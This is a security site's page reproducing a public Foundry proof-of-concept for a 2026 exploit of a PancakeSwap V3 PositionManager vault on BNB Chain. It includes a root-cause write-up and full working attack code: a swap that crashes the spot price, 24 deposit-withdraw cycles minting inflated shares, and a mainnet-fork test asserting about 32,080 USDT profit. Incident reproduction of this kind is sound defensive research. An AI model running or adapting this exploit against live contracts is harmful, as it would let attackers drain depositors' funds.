Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/PositionManager_exp.sol

Public reproduction file for dataset entry PositionManager.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/PositionManager_exp.sol169 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5
6// PositionManager (symbol "PM", name "PositionManager") - PancakeSwap V3 spot-price (slot0) share
7// mispricing drained the vault's own PancakeSwap V3 USDT/BTCB liquidity position - BNB Chain.
8// Attacker realized 32,080.604282 USDT profit in a single atomic transaction.
9//
10// Attack tx : 0x8725c094ae697f4df653f372dd01b627815ed46dbff2d75a75c5c83a15163da3 (block 124829770)
11// Attacker EOA : 0xfc3fAcD67138966aB0c841E905B0C4BCA1AbE92F (receives the final 32,080.60 USDT)
12// Attack contract : 0x97F119508FD5CC15E90b539B603895a5CfC56808 (the tx `to`; the alert labelled this the
13// "attacker", but on-chain it is the attack contract driving the loop)
14// Victim : 0x7cedB2e5d7791c7D46c5C9d35EaC4775bc887F00 (PositionManager, verified source)
15// Main pool : 0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4 (PancakeSwap V3 USDT/BTCB, fee 500,
16// token0 = USDT, token1 = BTCB; this is both the LP pool and the slot0 oracle)
17// Chainlink feed : 0x264990fbd0A4796A3E3d8E37C4d5F87a3aCa5Ebf (BTC/USD, the sound leg)
18// USDT : 0x55d398326f99059fF775485246999027B3197955 (baseToken)
19// BTCB : 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c
20// Flash source : 0x238a358808379702088667322f80aC48bAd5e6c4 (PancakeSwap Infinity Vault, 0-fee flash;
21// modelled below as dealt working capital, see note in testExploit)
22//
23// Root cause (confirmed against the verified PositionManager source, not just the alert):
24// deposit(uint256) is permissionless - external nonReentrant, no owner/manager/keeper gate (the only
25// gated functions are addLiquidity/removeLiquidity/updatePosition/changePoolData, all onlyRole). So is
26// withdraw(). When the vault is in position, deposit() values the vault's holdings to size the shares it
27// mints (PositionManager.sol:125-140):
28// poolPrice = _processedPoolPrice() // slot0 sqrtPriceX96^2, RAW SPOT
29// token1Price = _getChainlinkPrice() * PRECISION // BTC/USD, sound
30// contractLiqInToken1 = amountToken0 * poolPrice / PRECISION + amountToken1 // USDT valued at SPOT
31// contractLiqInBaseTok = contractLiqInToken1 * token1Price / (PRECISION*CHAINLINK_PRECISION)
32// shares = depositAmount * totalSupply / contractLiqInBaseTok
33// The Chainlink leg prices BTCB soundly, but the vault's existing USDT (amountToken0) is converted to
34// BTCB-terms using the manipulable PancakeSwap V3 spot price. Depress the USDT/BTCB spot right before
35// depositing and contractLiqInBaseToken (the denominator) is understated, so deposit() mints too many
36// shares. withdraw() then burns those shares and pays out token0/token1 pro-rata against the real pool
37// position (PositionManager.sol:187-200) with no delay, no TWAP and no deviation guard, so the inflated
38// shares redeem real value in the same transaction.
39//
40// Attack flow, reconstructed below as ordinary typed calls (no raw calldata replay) exactly as the trace shows:
41// 1. Obtain 9,000,010 USDT working capital (on-chain: a 0-fee PancakeSwap Infinity Vault flash loan).
42// 2. Swap 8,000,000 USDT -> 91.765609 BTCB in the V3 pool (zeroForOne) to crash sqrtPriceX96
43// from 274452124608361913298767630 to 261748504334048619437859565 -> USDT quotes far too cheap.
44// 3. 24x: deposit(1,000,000 USDT) into the victim, which mints inflated PM shares against the crashed
45// spot price, then immediately withdraw(), redeeming those shares for more value than was deposited.
46// 4. Swap the BTCB back to USDT (reverse the manipulation and realize the drained value as USDT).
47// 5. Repay the 9,000,010 USDT flash; keep the surplus.
48//
49// The pool is the loser here (its net USDT balance falls 32,096.098596 across the tx); the fee receiver
50// (ProtocolManager proxy 0xec90...) collects 15.494313 USDT of deposit fees along the way, and the attacker
51// EOA nets 32,080.604282 USDT - exactly the amount transferred out at the end of the on-chain trace.
53interface IERC20 {
54 function balanceOf(address) external view returns (uint256);
55 function approve(address spender, uint256 amount) external returns (bool);
56 function transfer(address to, uint256 amount) external returns (bool);
59interface IPancakeV3Pool {
60 function swap(
61 address recipient,
62 bool zeroForOne,
63 int256 amountSpecified,
64 uint160 sqrtPriceLimitX96,
65 bytes calldata data
66 ) external returns (int256 amount0, int256 amount1);
67 function slot0()
68 external
69 view
70 returns (
71 uint160 sqrtPriceX96,
72 int24 tick,
73 uint16 observationIndex,
74 uint16 observationCardinality,
75 uint16 observationCardinalityNext,
76 uint32 feeProtocol,
77 bool unlocked
78 );
79 function token0() external view returns (address);
80 function token1() external view returns (address);
83interface IPositionManager {
84 function deposit(uint256 depositAmount) external returns (uint256 shares);
85 function withdraw() external;
88contract PositionManagerExploit {
89 IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
90 IERC20 constant BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);
91 IPancakeV3Pool constant POOL = IPancakeV3Pool(0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4);
92 IPositionManager constant VICTIM = IPositionManager(0x7cedB2e5d7791c7D46c5C9d35EaC4775bc887F00);
94 // PancakeSwap V3 / TickMath sqrt price bounds, used as swap price limits.
95 uint160 constant MIN_SQRT_RATIO = 4_295_128_739;
96 uint160 constant MAX_SQRT_RATIO = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_342;
98 uint256 constant MANIPULATION_USDT = 8_000_000 ether; // dumped to crash the USDT/BTCB spot price
99 uint256 constant DEPOSIT_AMOUNT = 1_000_000 ether; // per cycle
100 uint256 constant CYCLES = 24; // exactly as on-chain
102 function attack() external {
103 // Step 1: crash the pool's spot price. token0 = USDT, token1 = BTCB, so zeroForOne dumps USDT for
104 // BTCB and pushes sqrtPriceX96 down -> the vault's USDT reads cheap when deposit() values it.
105 POOL.swap(address(this), true, int256(MANIPULATION_USDT), MIN_SQRT_RATIO + 1, "");
107 // Step 2: 24 permissionless deposit->withdraw cycles. Each deposit mints inflated shares against the
108 // depressed spot price; each withdraw redeems them pro-rata against the real position for more value.
109 USDT.approve(address(VICTIM), type(uint256).max);
110 for (uint256 i = 0; i < CYCLES; i++) {
111 VICTIM.deposit(DEPOSIT_AMOUNT);
112 VICTIM.withdraw();
113 }
115 // Step 3: reverse the manipulation - sell all BTCB back to USDT, realizing the drained value.
116 uint256 btcbBal = BTCB.balanceOf(address(this));
117 if (btcbBal > 0) {
118 POOL.swap(address(this), false, int256(btcbBal), MAX_SQRT_RATIO - 1, "");
119 }
120 }
122 // V3 swap callback: pay whichever token the pool is owed (positive delta). token0 = USDT, token1 = BTCB.
123 function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {
124 require(msg.sender == address(POOL), "not pool");
125 if (amount0Delta > 0) USDT.transfer(msg.sender, uint256(amount0Delta));
126 if (amount1Delta > 0) BTCB.transfer(msg.sender, uint256(amount1Delta));
127 }
130contract PositionManager_exp is Test {
131 IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
132 IERC20 constant BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);
133 address constant POOL = 0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4;
134 address constant VICTIM = 0x7cedB2e5d7791c7D46c5C9d35EaC4775bc887F00;
136 // 0-fee PancakeSwap Infinity Vault flash loan taken on-chain; modelled here as dealt working capital.
137 uint256 constant FLASH_CAPITAL = 9_000_010 ether;
139 function setUp() public {
140 // The default "bsc" foundry.toml endpoint is not archival at this height; pin an archive node so
141 // the PoC is self-contained and needs no env vars.
142 vm.createSelectFork("https://bsc-mainnet.public.blastapi.io", 124_829_769); // parent of the exploit block
143 }
145 function testExploit() public {
146 emit log_named_decimal_uint("pool USDT reserve before", USDT.balanceOf(POOL), 18);
147 emit log_named_decimal_uint("pool BTCB reserve before", BTCB.balanceOf(POOL), 18);
149 PositionManagerExploit exploit = new PositionManagerExploit();
151 // Provide the flash-loan working capital (repaid implicitly: profit is measured net of it below).
152 deal(address(USDT), address(exploit), FLASH_CAPITAL);
153 assertEq(BTCB.balanceOf(address(exploit)), 0, "attacker should start with no BTCB");
155 exploit.attack();
157 // All BTCB sold back to USDT inside attack(); nothing left over.
158 assertEq(BTCB.balanceOf(address(exploit)), 0, "BTCB not fully unwound");
160 uint256 finalUsdt = USDT.balanceOf(address(exploit));
161 uint256 profit = finalUsdt - FLASH_CAPITAL; // net of repaying the 9,000,010 USDT flash
163 emit log_named_decimal_uint("pool USDT reserve after ", USDT.balanceOf(POOL), 18);
164 emit log_named_decimal_uint("attacker USDT profit ", profit, 18);
166 // Matches the 32,080.604282546162934055 USDT sent to the attacker EOA at the end of the on-chain trace.
167 assertApproxEqRel(profit, 32_080_604282546162934055, 0.01e18, "profit off expected ~32.08K USDT");
168 }

Analysis

Dataset entry

Public Foundry test for “PositionManager” (2026-09-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xfc3facd67138966ab0c841e905b0c4bca1abe92f

  • Attack contract

    0x97f119508fd5cc15e90b539b603895a5cfc56808

  • Victim

    0x7cedb2e5d7791c7d46c5c9d35eac4775bc887f00

  • Attack Tx

    0x8725c094ae697f4df653f372dd01b627815ed46dbff2d75a75c5c83a15163da3

File record

Name
PositionManager
Path
src/test/2026-09/PositionManager_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
cc3a77bfb8d2ee74aab30bf2b4a882992dc4f1cf
Language
Solidity
Size
170 lines
Date
2026-09-30
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/PositionManager_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cc3a77bfb8d2ee74aab30bf2b4a882992dc4f1cf, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.